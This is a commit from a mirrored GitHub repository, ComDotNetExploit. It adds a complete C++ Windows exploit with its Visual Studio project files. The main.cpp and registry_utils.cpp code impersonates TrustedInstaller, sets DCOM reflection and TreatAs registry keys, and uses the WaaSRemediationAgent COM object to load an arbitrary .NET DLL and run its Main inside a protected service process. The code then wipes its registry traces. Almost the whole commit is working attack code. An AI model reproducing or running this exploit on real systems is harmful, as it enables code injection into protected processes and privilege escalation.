mirror of
https://github.com/T3nb3w/ComDotNetExploit
synced 2026-06-06 16:54:26 +00:00
Add project files
This commit is contained in:
@@ -0,0 +1,150 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{fffd18ed-1660-44aa-8949-e64e0e7330e3}</ProjectGuid>
|
||||
<RootNamespace>BypassCOMPPL</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>ComDotNetExploit</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ManagedAssembly>false</ManagedAssembly>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<CompileAsManaged>false</CompileAsManaged>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dotnet_interop.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
<ClCompile Include="registry_utils.cpp" />
|
||||
<ClCompile Include="trustinstaller_utils.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="com_utils.h" />
|
||||
<ClInclude Include="dotnet_interop.h" />
|
||||
<ClInclude Include="registry_utils.h" />
|
||||
<ClInclude Include="trustinstaller_utils.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,45 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="registry_utils.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dotnet_interop.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="trustinstaller_utils.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="registry_utils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="com_utils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="dotnet_interop.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="trustinstaller_utils.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommandArguments>C:\debug.dll InjectedPayload</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,24 @@
|
||||
// com_utils.h
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <comdef.h>
|
||||
#include <atlbase.h>
|
||||
|
||||
class COMAutoRelease {
|
||||
public:
|
||||
COMAutoRelease() { CoInitialize(nullptr); }
|
||||
~COMAutoRelease() { CoUninitialize(); }
|
||||
};
|
||||
|
||||
template<typename T>
|
||||
class COMPtr {
|
||||
CComPtr<T> ptr;
|
||||
public:
|
||||
COMPtr() = default;
|
||||
COMPtr(const COMPtr&) = delete;
|
||||
COMPtr& operator=(const COMPtr&) = delete;
|
||||
|
||||
T** operator&() { return &ptr; }
|
||||
T* operator->() { return ptr; }
|
||||
operator T* () { return ptr; }
|
||||
};
|
||||
@@ -0,0 +1,83 @@
|
||||
// dotnet_interop.cpp
|
||||
#include "dotnet_interop.h"
|
||||
|
||||
long GetSafeArrayLen(LPSAFEARRAY psa) {
|
||||
long ubound = 0;
|
||||
SafeArrayGetUBound(psa, 1, &ubound);
|
||||
return ubound + 1;
|
||||
}
|
||||
|
||||
mscorlib::_MethodInfoPtr DotNetInterop::GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR methodName, int pcount) {
|
||||
|
||||
LPSAFEARRAY methods = type->GetMethods_2();
|
||||
mscorlib::_MethodInfoPtr ret;
|
||||
LONG methodCount = GetSafeArrayLen(methods);
|
||||
|
||||
for (long i = 0; i < methodCount; ++i)
|
||||
{
|
||||
IUnknown* v = nullptr;
|
||||
|
||||
if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v)))
|
||||
{
|
||||
mscorlib::_MethodInfoPtr method = v;
|
||||
|
||||
bstr_t name = method->Getname();
|
||||
LPSAFEARRAY params = method->GetParameters();
|
||||
long paramCount = GetSafeArrayLen(params);
|
||||
int choose = 1;
|
||||
|
||||
if (method->IsStatic && wcscmp(name.GetBSTR(), methodName) == 0 && paramCount == pcount)
|
||||
{
|
||||
|
||||
ret = method;
|
||||
break;
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
SafeArrayDestroy(methods);
|
||||
|
||||
return ret;
|
||||
}
|
||||
|
||||
mscorlib::_MethodInfoPtr DotNetInterop::GetStaticMethodLoad(mscorlib::_TypePtr type, LPCWSTR methodName, int pcount) {
|
||||
|
||||
LPSAFEARRAY methods = type->GetMethods_2();
|
||||
mscorlib::_MethodInfoPtr ret;
|
||||
LONG methodCount = GetSafeArrayLen(methods);
|
||||
int choose = 0;
|
||||
for (long i = 0; i < methodCount; ++i)
|
||||
{
|
||||
IUnknown* v = nullptr;
|
||||
|
||||
if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v)))
|
||||
{
|
||||
mscorlib::_MethodInfoPtr method = v;
|
||||
|
||||
bstr_t name = method->Getname();
|
||||
LPSAFEARRAY params = method->GetParameters();
|
||||
long paramCount = GetSafeArrayLen(params);
|
||||
|
||||
|
||||
if (method->IsStatic && wcscmp(name.GetBSTR(), methodName) == 0 && paramCount == pcount)
|
||||
{
|
||||
|
||||
if (choose == 2)
|
||||
{
|
||||
ret = method;
|
||||
|
||||
break;
|
||||
}
|
||||
choose += 1;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
SafeArrayDestroy(methods);
|
||||
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
// dotnet_interop.h
|
||||
#pragma once
|
||||
#include <comdef.h>
|
||||
#include <vector>
|
||||
#include <iostream>
|
||||
#import "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorlib.tlb" \
|
||||
rename("ReportEvent", "_ReportEvent") \
|
||||
rename("or", "_or")
|
||||
|
||||
class DotNetInterop {
|
||||
public:
|
||||
static mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR methodName, int paramCount);
|
||||
static mscorlib::_MethodInfoPtr GetStaticMethodLoad(mscorlib::_TypePtr type, LPCWSTR methodName, int pcount);
|
||||
|
||||
template<typename T>
|
||||
static T ExecuteMethod(mscorlib::_MethodInfoPtr method, std::vector<variant_t>& args) {
|
||||
SAFEARRAY* psa = SafeArrayCreateVector(VT_VARIANT, 0, static_cast<ULONG>(args.size()));
|
||||
for (LONG i = 0; i < static_cast<LONG>(args.size()); ++i) {
|
||||
SafeArrayPutElement(psa, &i, &args[i]);
|
||||
}
|
||||
|
||||
variant_t ret = method->Invoke_3(variant_t(), psa);
|
||||
T retObj = (ret.vt == VT_UNKNOWN || ret.vt == VT_DISPATCH) ? ret.punkVal : nullptr;
|
||||
|
||||
SafeArrayDestroy(psa);
|
||||
return retObj;
|
||||
}
|
||||
|
||||
|
||||
};
|
||||
@@ -0,0 +1,221 @@
|
||||
// main.cpp
|
||||
#include "com_utils.h"
|
||||
#include "registry_utils.h"
|
||||
#include "dotnet_interop.h"
|
||||
#include "trustinstaller_utils.h"
|
||||
#include <initguid.h>
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
|
||||
constexpr CLSID CLSID_DotNetObject = { 0x81c5fe01,0x027c,0x3e1c,{0x98,0xd5,0xda,0x9c,0x98,0x62,0xaa,0x21} };
|
||||
constexpr CLSID CLSID_WaaSRemediationAgent = { 0x72566e27,0x1abb,0x4eb3,{0xb4,0xf0,0xeb,0x43,0x1c,0xb1,0xcb,0x32} };
|
||||
|
||||
bool InitializeEnvironment() {
|
||||
std::cout << "[+] Setting DcomReflection..." << std::endl;
|
||||
if (!RegistryUtils::SetDcomReflectionEnabled(true)) {
|
||||
std::cerr << "[-] Failed to enable DCOM reflection\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
std::cout << "[+] Setting OnlyUseLatestCLR..." << std::endl;
|
||||
if (!RegistryUtils::SetOnlyUseLatestCLR(true)) {
|
||||
std::cerr << "[-] Failed to set OnlyUseLatestCLR.\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
std::cout << "[+] Setting treatas..." << std::endl;
|
||||
if (!RegistryUtils::SetTreatAs(CLSID_StdFont, CLSID_DotNetObject)) {
|
||||
std::cerr << "[-] Failed to set TreatAs key\n";
|
||||
return false;
|
||||
}
|
||||
std::cout << "[+] Environment initialized successfully\n";
|
||||
return true;
|
||||
}
|
||||
|
||||
bool ExecutePayload(const std::string& dllPath, _bstr_t staticClassName) {
|
||||
try {
|
||||
|
||||
|
||||
IDispatch* pWaasAgent = nullptr;
|
||||
HRESULT hr = CoCreateInstance(CLSID_WaaSRemediationAgent, nullptr, CLSCTX_LOCAL_SERVER, IID_IDispatch, reinterpret_cast<void**>(&pWaasAgent));
|
||||
if (FAILED(hr)) throw _com_error(hr);
|
||||
std::cout << "[+] CoCreateInstance for WaaSRemediationAgent succeeded\n";
|
||||
|
||||
ITypeInfo* pAgentTypeInfo = nullptr;
|
||||
hr = pWaasAgent->GetTypeInfo(0, LOCALE_USER_DEFAULT, &pAgentTypeInfo);
|
||||
if (FAILED(hr)) {
|
||||
std::cerr << "[-] GetTypeInfo failed on pwaas: 0x" << std::hex << hr << '\n';
|
||||
pWaasAgent->Release();
|
||||
CoUninitialize();
|
||||
return false;
|
||||
}
|
||||
std::cout << "[+] Retrieved type info for WaaSRemediationAgent\n";
|
||||
|
||||
|
||||
HREFTYPE href = 0;
|
||||
hr = pAgentTypeInfo->GetRefTypeOfImplType(0, &href);
|
||||
if (FAILED(hr)) {
|
||||
std::cerr << "[-] GetRefTypeOfImplType failed: 0x" << std::hex << hr << '\n';
|
||||
pAgentTypeInfo->Release();
|
||||
pWaasAgent->Release();
|
||||
CoUninitialize();
|
||||
return false;
|
||||
}
|
||||
std::cout << "[+] Retrieved reference type for implementation\n";
|
||||
|
||||
ITypeInfo* pBaseTypeInfo = nullptr;
|
||||
hr = pAgentTypeInfo->GetRefTypeInfo(href, &pBaseTypeInfo);
|
||||
if (FAILED(hr)) {
|
||||
std::cerr << "[-] GetRefTypeInfo failed: 0x" << std::hex << hr << '\n';
|
||||
pAgentTypeInfo->Release();
|
||||
pWaasAgent->Release();
|
||||
CoUninitialize();
|
||||
return false;
|
||||
}
|
||||
std::cout << "[+] Retrieved base type info\n";
|
||||
|
||||
|
||||
COMPtr<ITypeLib> pStdoleTypeLib;
|
||||
UINT indexInTypeLib = 0;
|
||||
hr = pBaseTypeInfo->GetContainingTypeLib(&pStdoleTypeLib, &indexInTypeLib);
|
||||
if (FAILED(hr) || pStdoleTypeLib == nullptr) {
|
||||
std::cerr << "[-] GetContainingTypeLib failed: 0x" << std::hex << hr << '\n';
|
||||
pBaseTypeInfo->Release();
|
||||
pAgentTypeInfo->Release();
|
||||
pWaasAgent->Release();
|
||||
CoUninitialize();
|
||||
return false;
|
||||
}
|
||||
std::cout << "[+] Retrieved containing type library\n";
|
||||
|
||||
COMPtr<ITypeInfo> pStdFontTypeInfo;
|
||||
hr = pStdoleTypeLib->GetTypeInfoOfGuid(CLSID_StdFont, &pStdFontTypeInfo);
|
||||
mscorlib::_ObjectPtr pStdFontObj;
|
||||
// With:
|
||||
hr = pStdFontTypeInfo->CreateInstance(
|
||||
nullptr,
|
||||
__uuidof(mscorlib::_Object), // Request the .NET _Object interface
|
||||
reinterpret_cast<void**>(&pStdFontObj)
|
||||
);
|
||||
if (FAILED(hr)) {
|
||||
std::cerr << "[-] Failed to create .NET object: 0x" << std::hex << hr << '\n';
|
||||
throw _com_error(hr);
|
||||
}
|
||||
std::cout << "[+] Created .NET object\n";
|
||||
|
||||
mscorlib::_TypePtr pType = pStdFontObj->GetType();
|
||||
pType = pType->GetType();
|
||||
bstr_t targetType = L"System.Type";
|
||||
while (pType->FullName != targetType)
|
||||
{
|
||||
pType = pType->BaseType;
|
||||
}
|
||||
std::vector<variant_t> getTypeArgs;
|
||||
|
||||
getTypeArgs.emplace_back(L"System.Reflection.Assembly");
|
||||
|
||||
mscorlib::_MethodInfoPtr getTypeMethod = DotNetInterop::GetStaticMethod(pType, L"GetType", 1);
|
||||
pType = DotNetInterop::ExecuteMethod<mscorlib::_TypePtr>(getTypeMethod, getTypeArgs);
|
||||
if (pType)
|
||||
{
|
||||
mscorlib::_MethodInfoPtr loadMethod = DotNetInterop::GetStaticMethodLoad(pType, L"Load", 1);
|
||||
if (loadMethod)
|
||||
{
|
||||
// Read DLL into vector
|
||||
// Convert to variant_t(byte array)
|
||||
std::ifstream file(dllPath, std::ios::binary);
|
||||
std::vector<uint8_t> buffer((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
|
||||
file.close();
|
||||
std::cout << "[+] DLL file read successfully\n";
|
||||
// Convert to variant_t (byte array)
|
||||
variant_t byteArrayVariant;
|
||||
byteArrayVariant.vt = VT_ARRAY | VT_UI1;
|
||||
SAFEARRAY* psa = SafeArrayCreateVector(VT_UI1, 0, buffer.size());
|
||||
void* pvData;
|
||||
SafeArrayAccessData(psa, &pvData);
|
||||
memcpy(pvData, buffer.data(), buffer.size());
|
||||
SafeArrayUnaccessData(psa);
|
||||
byteArrayVariant.parray = psa;
|
||||
|
||||
// Get the correct Load method for byte array
|
||||
std::vector<variant_t> args;
|
||||
args.push_back(byteArrayVariant); // Pass the byte array here
|
||||
mscorlib::_AssemblyPtr assembly = DotNetInterop::ExecuteMethod<mscorlib::_AssemblyPtr>(loadMethod, args);
|
||||
|
||||
|
||||
if (assembly)
|
||||
{
|
||||
mscorlib::_TypePtr payloadType = assembly->GetType_2(staticClassName);
|
||||
if (!payloadType) {
|
||||
std::cout << "[-] Could not find type " << staticClassName << " in assembly\n";
|
||||
return false;
|
||||
}
|
||||
std::cout << "[+] Found " << staticClassName << " type in assembly\n";
|
||||
|
||||
mscorlib::_MethodInfoPtr mainMethod = DotNetInterop::GetStaticMethod(payloadType, L"Main", 0);
|
||||
|
||||
if (mainMethod) {
|
||||
std::vector<variant_t> mainArgs;
|
||||
DotNetInterop::ExecuteMethod<mscorlib::_ObjectPtr>(mainMethod, mainArgs);
|
||||
std::cout << "[+] Executed Main method of InjectedPayload\n";
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
std::cout << "[-] Failed to load assembly.\n";
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
catch (const _com_error& e) {
|
||||
std::cerr << "[-] COM Error: " << e.ErrorMessage() << '\n';
|
||||
std::cerr << "[-] HRESULT: " << std::hex << e.Error() << '\n';
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
if (argc < 3) {
|
||||
std::cerr << "Usage: " << argv[0] << " <DLL Path> <Static Class Name>\n";
|
||||
std::cerr << "The static class must contain a 'public static void Main()' method.\n";
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
std::string dllPath = argv[1];
|
||||
_bstr_t staticClassName(argv[2]);
|
||||
bool success = true;
|
||||
try
|
||||
{
|
||||
// Call the function to impersonate Trusted Installer
|
||||
Elevate::RunAsTrustedInstaller();
|
||||
std::cout << "[+] Successfully impersonated Trusted Installer...\n";
|
||||
|
||||
// Initialize COM and the environment
|
||||
COMAutoRelease com;
|
||||
if (!InitializeEnvironment()) return EXIT_FAILURE;
|
||||
|
||||
// Execute the payload
|
||||
success = ExecutePayload(dllPath, staticClassName);
|
||||
|
||||
// Clean up registry settings
|
||||
std::cout << "[+] Cleaning up registry settings...\n";
|
||||
RegistryUtils::CleanupClsid(CLSID_StdFont);
|
||||
RegistryUtils::CleanDcomReflection();
|
||||
RegistryUtils::CleanOnlyUseLatestCLR();
|
||||
|
||||
}
|
||||
catch (const std::exception& e)
|
||||
{
|
||||
// Catch any exceptions thrown during the execution of the function
|
||||
std::cerr << "Error: " << e.what() << '\n';
|
||||
return EXIT_FAILURE; // Return a non-zero value to indicate an error occurred
|
||||
}
|
||||
|
||||
return success ? EXIT_SUCCESS : EXIT_FAILURE;
|
||||
}
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,97 @@
|
||||
// registry_utils.cpp
|
||||
#include "registry_utils.h"
|
||||
|
||||
bool RegistryUtils::SetDcomReflectionEnabled(bool enable) {
|
||||
HKEY hKey;
|
||||
LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
|
||||
LPCWSTR valueName = L"AllowDCOMReflection";
|
||||
|
||||
LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr,
|
||||
REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
|
||||
if (result != ERROR_SUCCESS) return false;
|
||||
|
||||
DWORD data = enable ? 1 : 0;
|
||||
result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,
|
||||
reinterpret_cast<const BYTE*>(&data), sizeof(data));
|
||||
RegCloseKey(hKey);
|
||||
return result == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
bool RegistryUtils::CleanDcomReflection() {
|
||||
HKEY hKey;
|
||||
LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
|
||||
LPCWSTR valueName = L"AllowDCOMReflection";
|
||||
|
||||
// Open the key first
|
||||
LONG result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, &hKey);
|
||||
if (result != ERROR_SUCCESS) return false;
|
||||
|
||||
// Delete the value
|
||||
result = RegDeleteValue(hKey, valueName);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
return (result == ERROR_SUCCESS || result == ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
|
||||
bool RegistryUtils::SetTreatAs(const CLSID& originalClsid, const CLSID& newClsid) {
|
||||
WCHAR originalClsidStr[40], newClsidStr[40];
|
||||
StringFromGUID2(originalClsid, originalClsidStr, 40);
|
||||
StringFromGUID2(newClsid, newClsidStr, 40);
|
||||
|
||||
std::wstring keyPath = std::wstring(L"CLSID\\") + originalClsidStr + L"\\TreatAs";
|
||||
|
||||
HKEY hKey;
|
||||
LONG result = RegCreateKeyEx(HKEY_CLASSES_ROOT, keyPath.c_str(), 0, nullptr,
|
||||
REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
|
||||
if (result != ERROR_SUCCESS) return false;
|
||||
|
||||
// Explicit cast to DWORD
|
||||
DWORD dataSize = static_cast<DWORD>((wcslen(newClsidStr) + 1) * sizeof(WCHAR));
|
||||
|
||||
result = RegSetValueEx(hKey, nullptr, 0, REG_SZ,
|
||||
reinterpret_cast<const BYTE*>(newClsidStr), dataSize);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
return result == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
||||
void RegistryUtils::CleanupClsid(const CLSID& clsid) {
|
||||
WCHAR clsidStr[40];
|
||||
StringFromGUID2(clsid, clsidStr, 40);
|
||||
|
||||
std::wstring keyPath = std::wstring(L"CLSID\\") + clsidStr + L"\\TreatAs";
|
||||
RegDeleteTree(HKEY_CLASSES_ROOT, keyPath.c_str());
|
||||
}
|
||||
|
||||
bool RegistryUtils::SetOnlyUseLatestCLR(bool enable) {
|
||||
HKEY hKey;
|
||||
LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
|
||||
LPCWSTR valueName = L"OnlyUseLatestCLR";
|
||||
|
||||
LONG result = RegCreateKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, nullptr,
|
||||
REG_OPTION_NON_VOLATILE, KEY_WRITE, nullptr, &hKey, nullptr);
|
||||
if (result != ERROR_SUCCESS) return false;
|
||||
|
||||
DWORD data = enable ? 1 : 0;
|
||||
result = RegSetValueEx(hKey, valueName, 0, REG_DWORD,
|
||||
reinterpret_cast<const BYTE*>(&data), sizeof(data));
|
||||
RegCloseKey(hKey);
|
||||
return result == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
bool RegistryUtils::CleanOnlyUseLatestCLR() {
|
||||
HKEY hKey;
|
||||
LPCWSTR subKey = L"SOFTWARE\\Microsoft\\.NETFramework";
|
||||
LPCWSTR valueName = L"OnlyUseLatestCLR";
|
||||
|
||||
// Open the key first
|
||||
LONG result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, subKey, 0, KEY_WRITE, &hKey);
|
||||
if (result != ERROR_SUCCESS) return false;
|
||||
|
||||
// Delete the value
|
||||
result = RegDeleteValue(hKey, valueName);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
return (result == ERROR_SUCCESS || result == ERROR_FILE_NOT_FOUND);
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
